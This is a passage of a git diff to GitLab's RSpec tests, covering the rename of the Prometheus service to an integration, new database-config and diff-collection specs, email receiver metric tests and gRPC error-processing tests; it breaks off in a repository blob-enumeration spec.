diff --git a/spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb b/spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb
index 28291508ac0..f5ea660ee1e 100644
--- a/spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb
+++ b/spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb
@@ -63,11 +63,11 @@ RSpec.describe Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService
application_setting.update(allow_local_requests_from_web_hooks_and_services: true)
end
- shared_examples 'has prometheus service' do |server_address|
+ shared_examples 'has prometheus integration' do |server_address|
it do
expect(result[:status]).to eq(:success)
- prometheus = project.prometheus_service
+ prometheus = project.prometheus_integration
expect(prometheus).not_to eq(nil)
expect(prometheus.api_url).to eq(server_address)
expect(prometheus.active).to eq(true)
@@ -75,7 +75,7 @@ RSpec.describe Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService
end
end
- it_behaves_like 'has prometheus service', 'http://localhost:9090'
+ it_behaves_like 'has prometheus integration', 'http://localhost:9090'
it 'is idempotent' do
result1 = subject.execute
@@ -86,10 +86,10 @@ RSpec.describe Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService
end
it "tracks successful install" do
- expect(::Gitlab::Tracking).to receive(:event).twice
- expect(::Gitlab::Tracking).to receive(:event).with('self_monitoring', 'project_created')
+ expect(::Gitlab::Tracking).to receive(:event).with("instance_administrators_group", "group_created", namespace: project.namespace)
+ expect(::Gitlab::Tracking).to receive(:event).with('self_monitoring', 'project_created', project: project, namespace: project.namespace)
- result
+ subject.execute
end
it 'creates group' do
@@ -134,13 +134,13 @@ RSpec.describe Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService
expect(application_setting.reload.self_monitoring_project_id).to eq(project.id)
end
- it 'creates a Prometheus service' do
+ it 'creates a Prometheus integration' do
expect(result[:status]).to eq(:success)
integrations = result[:project].reload.integrations
expect(integrations.count).to eq(1)
- # Ensures PrometheusService#self_monitoring_project? is true
+ # Ensures Integrations::Prometheus#self_monitoring_project? is true
expect(integrations.first.allow_local_api_url?).to be_truthy
end
@@ -193,12 +193,12 @@ RSpec.describe Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService
end
end
- context 'when local requests from hooks and services are not allowed' do
+ context 'when local requests from hooks and integrations are not allowed' do
before do
application_setting.update(allow_local_requests_from_web_hooks_and_services: false)
end
- it_behaves_like 'has prometheus service', 'http://localhost:9090'
+ it_behaves_like 'has prometheus integration', 'http://localhost:9090'
end
context 'with non default prometheus address' do
@@ -211,18 +211,18 @@ RSpec.describe Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService
}
end
- it_behaves_like 'has prometheus service', 'https://localhost:9090'
+ it_behaves_like 'has prometheus integration', 'https://localhost:9090'
context 'with :9090 symbol' do
let(:server_address) { :':9090' }
- it_behaves_like 'has prometheus service', 'http://localhost:9090'
+ it_behaves_like 'has prometheus integration', 'http://localhost:9090'
end
context 'with 0.0.0.0:9090' do
let(:server_address) { '0.0.0.0:9090' }
- it_behaves_like 'has prometheus service', 'http://localhost:9090'
+ it_behaves_like 'has prometheus integration', 'http://localhost:9090'
end
end
@@ -233,7 +233,7 @@ RSpec.describe Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService
it 'does not fail' do
expect(result).to include(status: :success)
- expect(project.prometheus_service).to be_nil
+ expect(project.prometheus_integration).to be_nil
end
end
@@ -244,7 +244,7 @@ RSpec.describe Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService
it 'does not fail' do
expect(result).to include(status: :success)
- expect(project.prometheus_service).to be_nil
+ expect(project.prometheus_integration).to be_nil
end
end
@@ -258,7 +258,7 @@ RSpec.describe Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService
it 'does not configure prometheus' do
expect(result).to include(status: :success)
- expect(project.prometheus_service).to be_nil
+ expect(project.prometheus_integration).to be_nil
end
end
@@ -267,7 +267,7 @@ RSpec.describe Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService
it 'does not configure prometheus' do
expect(result).to include(status: :success)
- expect(project.prometheus_service).to be_nil
+ expect(project.prometheus_integration).to be_nil
end
end
diff --git a/spec/lib/gitlab/database_spec.rb b/spec/lib/gitlab/database_spec.rb
index 847f7ec2d74..a834e41c019 100644
--- a/spec/lib/gitlab/database_spec.rb
+++ b/spec/lib/gitlab/database_spec.rb
@@ -41,6 +41,79 @@ RSpec.describe Gitlab::Database do
end
end
+ describe '.has_config?' do
+ context 'two tier database config' do
+ before do
+ allow(Gitlab::Application).to receive_message_chain(:config, :database_configuration, :[]).with(Rails.env)
+ .and_return({ "adapter" => "postgresql", "database" => "gitlabhq_test" })
+ end
+
+ it 'returns false for primary' do
+ expect(described_class.has_config?(:primary)).to eq(false)
+ end
+
+ it 'returns false for ci' do
+ expect(described_class.has_config?(:ci)).to eq(false)
+ end
+ end
+
+ context 'three tier database config' do
+ before do
+ allow(Gitlab::Application).to receive_message_chain(:config, :database_configuration, :[]).with(Rails.env)
+ .and_return({
+ "primary" => { "adapter" => "postgresql", "database" => "gitlabhq_test" },
+ "ci" => { "adapter" => "postgresql", "database" => "gitlabhq_test_ci" }
+ })
+ end
+
+ it 'returns true for primary' do
+ expect(described_class.has_config?(:primary)).to eq(true)
+ end
+
+ it 'returns true for ci' do
+ expect(described_class.has_config?(:ci)).to eq(true)
+ end
+
+ it 'returns false for non-existent' do
+ expect(described_class.has_config?(:nonexistent)).to eq(false)
+ end
+ end
+ end
+
+ describe '.main_database?' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:database_name, :result) do
+ :main | true
+ 'main' | true
+ :ci | false
+ 'ci' | false
+ :archive | false
+ 'archive' | false
+ end
+
+ with_them do
+ it { expect(described_class.main_database?(database_name)).to eq(result) }
+ end
+ end
+
+ describe '.ci_database?' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:database_name, :result) do
+ :main | false
+ 'main' | false
+ :ci | true
+ 'ci' | true
+ :archive | false
+ 'archive' | false
+ end
+
+ with_them do
+ it { expect(described_class.ci_database?(database_name)).to eq(result) }
+ end
+ end
+
describe '.adapter_name' do
it 'returns the name of the adapter' do
expect(described_class.adapter_name).to be_an_instance_of(String)
@@ -414,6 +487,23 @@ RSpec.describe Gitlab::Database do
end
end
+ describe '.dbname' do
+ it 'returns the dbname for the connection' do
+ connection = ActiveRecord::Base.connection
+
+ expect(described_class.dbname(connection)).to be_a(String)
+ expect(described_class.dbname(connection)).to eq(connection.pool.db_config.database)
+ end
+
+ context 'when the pool is a NullPool' do
+ it 'returns unknown' do
+ connection = double(:active_record_connection, pool: ActiveRecord::ConnectionAdapters::NullPool.new)
+
+ expect(described_class.dbname(connection)).to eq('unknown')
+ end
+ end
+ end
+
describe '#true_value' do
it 'returns correct value' do
expect(described_class.true_value).to eq "'t'"
diff --git a/spec/lib/gitlab/deploy_key_access_spec.rb b/spec/lib/gitlab/deploy_key_access_spec.rb
index e186e993d8f..83b97c8ba25 100644
--- a/spec/lib/gitlab/deploy_key_access_spec.rb
+++ b/spec/lib/gitlab/deploy_key_access_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::DeployKeyAccess do
let_it_be(:user) { create(:user) }
let_it_be(:deploy_key) { create(:deploy_key, user: user) }
+
let(:project) { create(:project, :repository) }
let(:protected_branch) { create(:protected_branch, :no_one_can_push, project: project) }
diff --git a/spec/lib/gitlab/diff/file_collection/base_spec.rb b/spec/lib/gitlab/diff/file_collection/base_spec.rb
new file mode 100644
index 00000000000..00d3aa47301
--- /dev/null
+++ b/spec/lib/gitlab/diff/file_collection/base_spec.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Diff::FileCollection::Base do
+ let(:merge_request) { create(:merge_request) }
+ let(:diffable) { merge_request.merge_request_diff }
+ let(:diff_options) { {} }
+
+ describe '#overflow?' do
+ subject(:overflown) { described_class.new(diffable, project: merge_request.project, diff_options: diff_options).overflow? }
+
+ context 'when it is not overflown' do
+ it 'returns false' do
+ expect(overflown).to eq(false)
+ end
+ end
+
+ context 'when it is overflown' do
+ let(:diff_options) { { max_files: 1 } }
+
+ it 'returns true' do
+ expect(overflown).to eq(true)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/diff/file_collection/commit_spec.rb b/spec/lib/gitlab/diff/file_collection/commit_spec.rb
index 3d995b36b6f..cfb5f50edbe 100644
--- a/spec/lib/gitlab/diff/file_collection/commit_spec.rb
+++ b/spec/lib/gitlab/diff/file_collection/commit_spec.rb
@@ -75,4 +75,12 @@ RSpec.describe Gitlab::Diff::FileCollection::Commit do
]
end
end
+
+ describe '#cache_key' do
+ subject(:cache_key) { described_class.new(diffable, diff_options: nil).cache_key }
+
+ it 'returns with the commit id' do
+ expect(cache_key).to eq ['commit', diffable.id]
+ end
+ end
end
diff --git a/spec/lib/gitlab/diff/file_collection/compare_spec.rb b/spec/lib/gitlab/diff/file_collection/compare_spec.rb
index f3326f4f03d..ce70903a480 100644
--- a/spec/lib/gitlab/diff/file_collection/compare_spec.rb
+++ b/spec/lib/gitlab/diff/file_collection/compare_spec.rb
@@ -15,29 +15,20 @@ RSpec.describe Gitlab::Diff::FileCollection::Compare do
head_commit.id)
end
- it_behaves_like 'diff statistics' do
- let(:collection_default_args) do
- {
- project: diffable.project,
- diff_options: {},
- diff_refs: diffable.diff_refs
- }
- end
+ let(:diffable) { Compare.new(raw_compare, project) }
+ let(:collection_default_args) do
+ {
+ project: diffable.project,
+ diff_options: {},
+ diff_refs: diffable.diff_refs
+ }
+ end
- let(:diffable) { Compare.new(raw_compare, project) }
+ it_behaves_like 'diff statistics' do
let(:stub_path) { '.gitignore' }
end
it_behaves_like 'sortable diff files' do
- let(:diffable) { Compare.new(raw_compare, project) }
- let(:collection_default_args) do
- {
- project: diffable.project,
- diff_options: {},
- diff_refs: diffable.diff_refs
- }
- end
-
let(:unsorted_diff_files_paths) do
[
'.DS_Store',
@@ -66,4 +57,12 @@ RSpec.describe Gitlab::Diff::FileCollection::Compare do
]
end
end
+
+ describe '#cache_key' do
+ subject(:cache_key) { described_class.new(diffable, **collection_default_args).cache_key }
+
+ it 'returns with head and base' do
+ expect(cache_key).to eq ['compare', head_commit.id, start_commit.id]
+ end
+ end
end
diff --git a/spec/lib/gitlab/diff/file_collection/merge_request_diff_base_spec.rb b/spec/lib/gitlab/diff/file_collection/merge_request_diff_base_spec.rb
new file mode 100644
index 00000000000..51bee6d45e4
--- /dev/null
+++ b/spec/lib/gitlab/diff/file_collection/merge_request_diff_base_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBase do
+ let(:merge_request) { create(:merge_request) }
+ let(:diffable) { merge_request.merge_request_diff }
+
+ describe '#overflow?' do
+ subject(:overflown) { described_class.new(diffable, diff_options: nil).overflow? }
+
+ context 'when it is not overflown' do
+ it 'returns false' do
+ expect(overflown).to eq(false)
+ end
+ end
+
+ context 'when it is overflown' do
+ before do
+ diffable.update!(state: :overflow)
+ end
+
+ it 'returns true' do
+ expect(overflown).to eq(true)
+ end
+ end
+ end
+
+ describe '#cache_key' do
+ subject(:cache_key) { described_class.new(diffable, diff_options: nil).cache_key }
+
+ it 'returns cache_key from merge_request_diff' do
+ expect(cache_key).to eq diffable.cache_key
+ end
+ end
+end
diff --git a/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb b/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb
index 670c734ce08..beb85d383a0 100644
--- a/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb
+++ b/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch do
let(:merge_request) { create(:merge_request) }
- let(:batch_page) { 1 }
+ let(:batch_page) { 0 }
let(:batch_size) { 10 }
let(:diffable) { merge_request.merge_request_diff }
let(:diff_files_relation) { diffable.merge_request_diff_files }
@@ -18,19 +18,15 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch do
let(:diff_files) { subject.diff_files }
- before do
- stub_feature_flags(diffs_gradual_load: false)
- end
-
describe 'initialize' do
it 'memoizes pagination_data' do
- expect(subject.pagination_data).to eq(current_page: 1, next_page: 2, total_pages: 2)
+ expect(subject.pagination_data).to eq(total_pages: 20)
end
end
describe '#diff_files' do
let(:batch_size) { 3 }
- let(:paginated_rel) { diff_files_relation.page(batch_page).per(batch_size) }
+ let(:paginated_rel) { diff_files_relation.offset(batch_page).limit(batch_size) }
let(:expected_batch_files) do
paginated_rel.map(&:new_path)
@@ -51,7 +47,7 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch do
end
context 'another page' do
- let(:batch_page) { 2 }
+ let(:batch_page) { 1 }
it 'returns correct diff files' do
expect(diff_files.map(&:new_path)).to eq(expected_batch_files)
@@ -63,7 +59,7 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch do
it 'returns correct diff files' do
expected_batch_files =
- diff_files_relation.page(described_class::DEFAULT_BATCH_PAGE).per(batch_size).map(&:new_path)
+ diff_files_relation.offset(described_class::DEFAULT_BATCH_PAGE).limit(batch_size).map(&:new_path)
expect(diff_files.map(&:new_path)).to eq(expected_batch_files)
end
@@ -74,7 +70,7 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch do
it 'returns correct diff files' do
expected_batch_files =
- diff_files_relation.page(batch_page).per(described_class::DEFAULT_BATCH_SIZE).map(&:new_path)
+ diff_files_relation.offset(batch_page).limit(described_class::DEFAULT_BATCH_SIZE).map(&:new_path)
expect(diff_files.map(&:new_path)).to eq(expected_batch_files)
end
@@ -90,29 +86,17 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch do
context 'last page' do
it 'returns correct diff files' do
- last_page = paginated_rel.total_pages
+ last_page = diff_files_relation.count - batch_size
collection = described_class.new(diffable,
last_page,
batch_size,
diff_options: nil)
- expected_batch_files = diff_files_relation.page(last_page).per(batch_size).map(&:new_path)
+ expected_batch_files = diff_files_relation.offset(last_page).limit(batch_size).map(&:new_path)
expect(collection.diff_files.map(&:new_path)).to eq(expected_batch_files)
end
end
-
- context 'with diffs gradual load feature flag enabled' do
- let(:batch_page) { 0 }
-
- before do
- stub_feature_flags(diffs_gradual_load: true)
- end
-
- it 'returns correct diff files' do
- expect(subject.diffs.map(&:new_path)).to eq(diff_files_relation.page(1).per(batch_size).map(&:new_path))
- end
- end
end
it_behaves_like 'unfoldable diff' do
@@ -130,7 +114,7 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch do
end
let(:diffable) { merge_request.merge_request_diff }
- let(:batch_page) { 2 }
+ let(:batch_page) { 10 }
let(:stub_path) { '.gitignore' }
subject do
diff --git a/spec/lib/gitlab/diff/position_tracer/line_strategy_spec.rb b/spec/lib/gitlab/diff/position_tracer/line_strategy_spec.rb
index d9f384fb47f..bdeaabec1f1 100644
--- a/spec/lib/gitlab/diff/position_tracer/line_strategy_spec.rb
+++ b/spec/lib/gitlab/diff/position_tracer/line_strategy_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Diff::PositionTracer::LineStrategy do
+RSpec.describe Gitlab::Diff::PositionTracer::LineStrategy, :clean_gitlab_redis_cache do
# Douwe's diary New York City, 2016-06-28
# --------------------------------------------------------------------------
#
@@ -288,6 +288,27 @@ RSpec.describe Gitlab::Diff::PositionTracer::LineStrategy do
new_line: old_position.new_line
)
end
+
+ context "when the position is multiline" do
+ let(:old_position) do
+ position(
+ new_path: file_name,
+ new_line: 2,
+ line_range: {
+ "start_line_code" => 1,
+ "end_line_code" => 2
+ }
+ )
+ end
+
+ it "returns the new position along with line_range" do
+ expect_new_position(
+ new_path: old_position.new_path,
+ new_line: old_position.new_line,
+ line_range: old_position.line_range
+ )
+ end
+ end
end
context "when the file's content was changed between the old and the new diff" do
@@ -547,6 +568,29 @@ RSpec.describe Gitlab::Diff::PositionTracer::LineStrategy do
new_line: 2
)
end
+
+ context "when the position is multiline" do
+ let(:old_position) do
+ position(
+ new_path: file_name,
+ new_line: 2,
+ line_range: {
+ "start_line_code" => 1,
+ "end_line_code" => 2
+ }
+ )
+ end
+
+ it "returns the new position but drops line_range information" do
+ expect_change_position(
+ old_path: file_name,
+ new_path: file_name,
+ old_line: nil,
+ new_line: 2,
+ line_range: nil
+ )
+ end
+ end
end
context "when the file's content was changed between the old and the new diff" do
diff --git a/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb b/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
index 3a60564d8d2..e8470657181 100644
--- a/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
@@ -12,6 +12,7 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
let(:email_raw) { email_fixture('emails/service_desk.eml') }
let_it_be(:group) { create(:group, :private, name: "email") }
+
let(:expected_description) do
"Service desk stuff!\n\n```\na = b\n```\n\n`/label ~label1`\n`/assign @user1`\n`/close`\n![image](uploads/image.png)"
end
@@ -50,6 +51,15 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
it 'sends thank you email' do
expect { receiver.execute }.to have_enqueued_job.on_queue('mailers')
end
+
+ it 'adds metric events for incoming and reply emails' do
+ metric_transaction = double('Gitlab::Metrics::WebTransaction', increment: true, observe: true)
+ allow(::Gitlab::Metrics::BackgroundTransaction).to receive(:current).and_return(metric_transaction)
+ expect(metric_transaction).to receive(:add_event).with(:receive_email_service_desk, { handler: 'Gitlab::Email::Handler::ServiceDeskHandler' })
+ expect(metric_transaction).to receive(:add_event).with(:service_desk_thank_you_email)
+
+ receiver.execute
+ end
end
context 'when everything is fine' do
@@ -169,6 +179,7 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
context 'when using service desk key' do
let_it_be(:service_desk_key) { 'mykey' }
+
let(:email_raw) { service_desk_fixture('emails/service_desk_custom_address.eml') }
let(:receiver) { Gitlab::Email::ServiceDeskReceiver.new(email_raw) }
@@ -200,6 +211,7 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
context 'when there are multiple projects with same key' do
let_it_be(:project_with_same_key) { create(:project, group: group, service_desk_enabled: true) }
+
let(:email_raw) { service_desk_fixture('emails/service_desk_custom_address.eml', slug: project_with_same_key.full_path_slug.to_s) }
before do
diff --git a/spec/lib/gitlab/email/receiver_spec.rb b/spec/lib/gitlab/email/receiver_spec.rb
index 2c1fe529a5d..b1a04f0592a 100644
--- a/spec/lib/gitlab/email/receiver_spec.rb
+++ b/spec/lib/gitlab/email/receiver_spec.rb
@@ -5,106 +5,125 @@ require 'spec_helper'
RSpec.describe Gitlab::Email::Receiver do
include_context :email_shared_context
- shared_examples 'correctly finds the mail key and adds metric event' do
- let(:metric_transaction) { double('Gitlab::Metrics::WebTransaction') }
+ let(:metric_transaction) { instance_double(Gitlab::Metrics::WebTransaction) }
- specify :aggregate_failures do
+ shared_examples 'successful receive' do
+ let_it_be(:project) { create(:project) }
+
+ let(:handler) { double(:handler, project: project, execute: true, metrics_event: nil, metrics_params: nil) }
+
+ it 'correctly finds the mail key' do
expect(Gitlab::Email::Handler).to receive(:for).with(an_instance_of(Mail::Message), 'gitlabhq/gitlabhq+auth_token').and_return(handler)
+
+ receiver.execute
+ end
+
+ it 'adds metric event' do
+ allow(receiver).to receive(:handler).and_return(handler)
+
expect(::Gitlab::Metrics::BackgroundTransaction).to receive(:current).and_return(metric_transaction)
expect(metric_transaction).to receive(:add_event).with(handler.metrics_event, handler.metrics_params)
receiver.execute
end
+
+ it 'returns valid metadata' do
+ allow(receiver).to receive(:handler).and_return(handler)
+
+ metadata = receiver.mail_metadata
+
+ expect(metadata.keys).to match_array(%i(mail_uid from_address to_address mail_key references delivered_to envelope_to x_envelope_to meta))
+ expect(metadata[:meta]).to include(client_id: 'email/jake@example.com', project: project.full_path)
+ expect(metadata[meta_key]).to eq(meta_value)
+ end
end
context 'when the email contains a valid email address in a header' do
- let(:handler) { double(:handler) }
- let(:metadata) { receiver.mail_metadata }
-
before do
- allow(handler).to receive(:execute)
- allow(handler).to receive(:metrics_params)
- allow(handler).to receive(:metrics_event)
-
stub_incoming_email_setting(enabled: true, address: "incoming+%{key}@appmail.example.com")
-
- expect(receiver.mail_metadata.keys).to match_array(%i(mail_uid from_address to_address mail_key references delivered_to envelope_to x_envelope_to))
end
context 'when in a Delivered-To header' do
let(:email_raw) { fixture_file('emails/forwarded_new_issue.eml') }
+ let(:meta_key) { :delivered_to }
+ let(:meta_value) { ["incoming+gitlabhq/gitlabhq+auth_token@appmail.example.com", "support@example.com"] }
- it_behaves_like 'correctly finds the mail key and adds metric event'
-
- it 'parses the metadata' do
- expect(metadata[:delivered_to]). to eq(["incoming+gitlabhq/gitlabhq+auth_token@appmail.example.com", "support@example.com"])
- end
+ it_behaves_like 'successful receive'
end
context 'when in an Envelope-To header' do
let(:email_raw) { fixture_file('emails/envelope_to_header.eml') }
+ let(:meta_key) { :envelope_to }
+ let(:meta_value) { ["incoming+gitlabhq/gitlabhq+auth_token@appmail.example.com"] }
- it_behaves_like 'correctly finds the mail key and adds metric event'
-
- it 'parses the metadata' do
- expect(metadata[:envelope_to]). to eq(["incoming+gitlabhq/gitlabhq+auth_token@appmail.example.com"])
- end
+ it_behaves_like 'successful receive'
end
context 'when in an X-Envelope-To header' do
let(:email_raw) { fixture_file('emails/x_envelope_to_header.eml') }
+ let(:meta_key) { :x_envelope_to }
+ let(:meta_value) { ["incoming+gitlabhq/gitlabhq+auth_token@appmail.example.com"] }
- it_behaves_like 'correctly finds the mail key and adds metric event'
-
- it 'parses the metadata' do
- expect(metadata[:x_envelope_to]). to eq(["incoming+gitlabhq/gitlabhq+auth_token@appmail.example.com"])
- end
+ it_behaves_like 'successful receive'
end
context 'when enclosed with angle brackets in an Envelope-To header' do
let(:email_raw) { fixture_file('emails/envelope_to_header_with_angle_brackets.eml') }
+ let(:meta_key) { :envelope_to }
+ let(:meta_value) { ["<incoming+gitlabhq/gitlabhq+auth_token@appmail.example.com>"] }
- it_behaves_like 'correctly finds the mail key and adds metric event'
+ it_behaves_like 'successful receive'
end
end
- context "when we cannot find a capable handler" do
- let(:email_raw) { fixture_file('emails/valid_reply.eml').gsub(mail_key, "!!!") }
+ shared_examples 'failed receive' do
+ it 'adds metric event' do
+ expect(::Gitlab::Metrics::BackgroundTransaction).to receive(:current).and_return(metric_transaction)
+ expect(metric_transaction).to receive(:add_event).with('email_receiver_error', { error: expected_error.name })
- it "raises an UnknownIncomingEmail error" do
- expect { receiver.execute }.to raise_error(Gitlab::Email::UnknownIncomingEmail)
+ expect { receiver.execute }.to raise_error(expected_error)
end
end
- context "when the email is blank" do
- let(:email_raw) { "" }
+ context 'when we cannot find a capable handler' do
+ let(:email_raw) { fixture_file('emails/valid_reply.eml').gsub(mail_key, '!!!') }
+ let(:expected_error) { Gitlab::Email::UnknownIncomingEmail }
- it "raises an EmptyEmailError" do
- expect { receiver.execute }.to raise_error(Gitlab::Email::EmptyEmailError)
- end
+ it_behaves_like 'failed receive'
end
- context "when the email was auto generated with Auto-Submitted header" do
- let(:email_raw) { fixture_file("emails/auto_submitted.eml") }
+ context 'when the email is blank' do
+ let(:email_raw) { '' }
+ let(:expected_error) { Gitlab::Email::EmptyEmailError }
- it "raises an AutoGeneratedEmailError" do
- expect { receiver.execute }.to raise_error(Gitlab::Email::AutoGeneratedEmailError)
- end
+ it_behaves_like 'failed receive'
end
- context "when the email was auto generated with X-Autoreply header" do
- let(:email_raw) { fixture_file("emails/auto_reply.eml") }
+ context 'when the email was auto generated with Auto-Submitted header' do
+ let(:email_raw) { fixture_file('emails/auto_submitted.eml') }
+ let(:expected_error) { Gitlab::Email::AutoGeneratedEmailError }
- it "raises an AutoGeneratedEmailError" do
- expect { receiver.execute }.to raise_error(Gitlab::Email::AutoGeneratedEmailError)
- end
+ it_behaves_like 'failed receive'
end
- it "requires all handlers to have a unique metric_event" do
+ context 'when the email was auto generated with X-Autoreply header' do
+ let(:email_raw) { fixture_file('emails/auto_reply.eml') }
+ let(:expected_error) { Gitlab::Email::AutoGeneratedEmailError }
+
+ it_behaves_like 'failed receive'
+ end
+
+ it 'requires all handlers to have a unique metric_event' do
events = Gitlab::Email::Handler.handlers.map do |handler|
handler.new(Mail::Message.new, 'gitlabhq/gitlabhq+auth_token').metrics_event
end
expect(events.uniq.count).to eq events.count
end
+
+ it 'requires all handlers to respond to #project' do
+ Gitlab::Email::Handler.load_handlers.each do |handler|
+ expect { handler.new(nil, nil).project }.not_to raise_error
+ end
+ end
end
diff --git a/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb b/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb
index 6076e525f06..9acc7fd04be 100644
--- a/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb
+++ b/spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb
@@ -15,6 +15,18 @@ RSpec.describe Gitlab::ErrorTracking::Processor::GrpcErrorProcessor do
let(:event) { Raven::Event.from_exception(exception, required_options.merge(data)) }
let(:result_hash) { described_class.call(event).to_hash }
+ let(:data) do
+ {
+ extra: {
+ caller: 'test'
+ },
+ fingerprint: [
+ 'GRPC::DeadlineExceeded',
+ '4:Deadline Exceeded. debug_error_string:{"created":"@1598938192.005782000","description":"Error received from peer unix:/home/git/gitalypraefect.socket","file":"src/core/lib/surface/call.cc","file_line":1055,"grpc_message":"Deadline Exceeded","grpc_status":4}'
+ ]
+ }
+ end
+
context 'when there is no GRPC exception' do
let(:exception) { RuntimeError.new }
let(:data) { { fingerprint: ['ArgumentError', 'Missing arguments'] } }
@@ -24,19 +36,47 @@ RSpec.describe Gitlab::ErrorTracking::Processor::GrpcErrorProcessor do
end
end
- context 'when there is a GPRC exception with a debug string' do
+ context 'when there is a GRPC exception with a debug string' do
let(:exception) { GRPC::DeadlineExceeded.new('Deadline Exceeded', {}, '{"hello":1}') }
- let(:data) do
- {
- extra: {
- caller: 'test'
- },
- fingerprint: [
- 'GRPC::DeadlineExceeded',
- '4:Deadline Exceeded. debug_error_string:{"created":"@1598938192.005782000","description":"Error received from peer unix:/home/git/gitalypraefect.socket","file":"src/core/lib/surface/call.cc","file_line":1055,"grpc_message":"Deadline Exceeded","grpc_status":4}'
- ]
- }
+ it 'removes the debug error string and stores it as an extra field' do
+ expect(result_hash[:fingerprint])
+ .to eq(['GRPC::DeadlineExceeded', '4:Deadline Exceeded.'])
+
+ expect(result_hash[:exception][:values].first)
+ .to include(type: 'GRPC::DeadlineExceeded', value: '4:Deadline Exceeded.')
+
+ expect(result_hash[:extra])
+ .to include(caller: 'test', grpc_debug_error_string: '{"hello":1}')
+ end
+
+ context 'with no custom fingerprint' do
+ let(:data) do
+ { extra: { caller: 'test' } }
+ end
+
+ it 'removes the debug error string and stores it as an extra field' do
+ expect(result_hash).not_to include(:fingerprint)
+
+ expect(result_hash[:exception][:values].first)
+ .to include(type: 'GRPC::DeadlineExceeded', value: '4:Deadline Exceeded.')
+
+ expect(result_hash[:extra])
+ .to include(caller: 'test', grpc_debug_error_string: '{"hello":1}')
+ end
+ end
+ end
+
+ context 'when there is a wrapped GRPC exception with a debug string' do
+ let(:inner_exception) { GRPC::DeadlineExceeded.new('Deadline Exceeded', {}, '{"hello":1}') }
+ let(:exception) do
+ begin
+ raise inner_exception
+ rescue GRPC::DeadlineExceeded
+ raise StandardError.new, inner_exception.message
+ end
+ rescue StandardError => e
+ e
end
it 'removes the debug error string and stores it as an extra field' do
@@ -46,6 +86,9 @@ RSpec.describe Gitlab::ErrorTracking::Processor::GrpcErrorProcessor do
expect(result_hash[:exception][:values].first)
.to include(type: 'GRPC::DeadlineExceeded', value: '4:Deadline Exceeded.')
+ expect(result_hash[:exception][:values].second)
+ .to include(type: 'StandardError', value: '4:Deadline Exceeded.')
+
expect(result_hash[:extra])
.to include(caller: 'test', grpc_debug_error_string: '{"hello":1}')
end
@@ -61,6 +104,9 @@ RSpec.describe Gitlab::ErrorTracking::Processor::GrpcErrorProcessor do
expect(result_hash[:exception][:values].first)
.to include(type: 'GRPC::DeadlineExceeded', value: '4:Deadline Exceeded.')
+ expect(result_hash[:exception][:values].second)
+ .to include(type: 'StandardError', value: '4:Deadline Exceeded.')
+
expect(result_hash[:extra])
.to include(caller: 'test', grpc_debug_error_string: '{"hello":1}')
end
diff --git a/spec/lib/gitlab/git/repository_spec.rb b/spec/lib/gitlab/git/repository_spec.rb
index 336bf20d59c..706bcdea291 100644
--- a/spec/lib/gitlab/git/repository_spec.rb
+++ b/spec/lib/gitlab/git/repository_spec.rb
@@ -869,6 +869,128 @@ RSpec.describe Gitlab::Git::Repository, :seed_helper do
end
end
+ describe '#blobs' do
+ let_it_be(:commit_oid) { '4b4918a572fa86f9771e5ba40fbd48e1eb03e2c6' }
+
+ shared_examples 'a blob enumeration' do
+ it 'enumerates blobs' do
+ blobs = repository.blobs(revisions).to_a
+
+ expect(blobs.size).to eq(expected_blobs)
+ blobs.each do |blob|
+ expect(blob.data).to be_empty
+ expect(blob.id.size).to be(40)
+ end
+ end
+ end
+
+ context 'single revision' do
+ let(:revisions) { [commit_oid] }
+ let(:expected_blobs) { 53 }
+
+ it_behaves_like 'a blob enumeration'
+ end
+
+ context 'multiple revisions' do
